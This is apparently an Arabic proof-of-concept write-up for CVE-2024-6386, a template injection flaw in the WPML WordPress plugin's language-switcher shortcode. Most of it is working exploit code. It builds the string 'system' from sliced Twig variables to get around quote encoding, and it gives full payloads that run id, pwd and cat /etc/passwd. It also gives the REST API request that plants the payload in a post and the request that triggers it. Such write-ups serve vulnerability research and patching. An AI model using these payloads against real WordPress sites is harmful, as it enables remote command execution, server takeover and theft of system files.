
بحث وإثبات مفهوم لـ CVE-2024-6386
بحث مفصّل بالروسية: CVE-2024-6386

النتيجة الأساسية: 9.9
المتجه: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
في WPML يمكنك استخدام رموز WordPress القصيرة المحددة التي تتيح لك إنشاء وحدات ماكرو وتقديم قوالب Twig أيضًا. وبالتالي يمكنك بسهولة الحصول على SSTI منها.
على سبيل المثال، لننشئ رمزًا قصيرًا لاستغلال SSTI:
[wpml_language_switcher]
{{ 2*2 }}
[/wpml_language_switcher]
في هذه الحالة سنحصل على 4 كنتيجة لتقديم الرمز القصير الخاص بنا.
بسبب ترميز ووردبريس لجميع أنواع علامات الاقتباس إلى HTML، لا يمكننا استخدام الحمولات النموذجية، مثل:
{{['id']|filter('system')}}
ومع ذلك يمكننا تعديل هذه الحمولة لاستدعاء أوامر نظام التشغيل من متغيرات مكوّنة من أحرف مثل: (s = 's').
للقيام بذلك، نحتاج إلى استدعاء بعض المتغيرات المحلية مثل:
css_classeslanguagesالأول سيعيد لنا سلسلة نصية: wpml-ls-statics-shortcode_actions wpml-ls.
الثاني يعيد كائن مصفوفة (Array) من اللغات.
وبمساعدة هذا يمكننا اقتطاع الرموز التي نحتاجها وإنشاء أبجدية خاصة بنا.
إذن، هنا نصنع أبجدية: [<space> ,a, c, i, d, s, y, t, e, m, p, w ]
ونعم، يجب علينا دمج languages مع قيمة فارغة للحصول على سلسلة قيمتها "Array" منها.
{% set sp = css_classes|slice(33,1) %}
{% set a = css_classes|slice(10,1) %}
{% set c = css_classes|slice(13,1) %}
{% set i = css_classes|slice(12,1) %}
{% set d = css_classes|slice(23,1) %}
{% set s = css_classes|slice(6,1) %}
{% set y = languages|join|slice(4,1) %}
{% set t = css_classes|slice(9,1) %}
{% set e = css_classes|slice(24,1) %}
{% set m = css_classes|slice(2,1) %}
{% set p = css_classes|slice(1,1) %}
{% set w = css_classes|slice(0,1) %}
وبعد ذلك يمكننا دمج أبجديتنا في حمولات:
{% set system = s~y~s~t~e~m %}
{% set pwd = p~w~d %}
{% set id = i~d %}
{% set cat = c~a~t %}
{% set sl = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}
{{[id]|map(system)|join}}
{{[pwd]|map(system)|join}}
{{[passwd]|map(system)|join}}
POST /wp-json/wp/v2/posts/30?_locale=user HTTP/1.1
Host: vulned.com
{
"id":30,
"content":"<!-- wp:shortcode -->\n[wpml_language_switcher]\n{% set sp = css_classes|slice(33,1) %}{% set a = css_classes|slice(10,1) %}{% set c = css_classes|slice(13,1) %}{% set i = css_classes|slice(12,1) %}{% set d = css_classes|slice(23,1) %}{% set s = css_classes|slice(6,1) %}{% set y = languages|join|slice(4,1) %}{% set t = css_classes|slice(9,1) %}{% set e = css_classes|slice(24,1) %}{% set m = css_classes|slice(2,1) %}{% set p = css_classes|slice(1,1) %}{% set w = css_classes|slice(0,1) %}{% set system = s~y~s~t~e~m %}{% set pwd = p~w~d %}{% set cat = c~a~t %}{% set sl = [pwd]|map(system)|join|slice(0,1) %}{% set id = i~d %}{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}{{[id]|map(system)|join}}\n[/wpml_language_switcher]<!-- /wp:shortcode -->"
}
GET /?p=30 HTTP/1.1
Host: vulned.com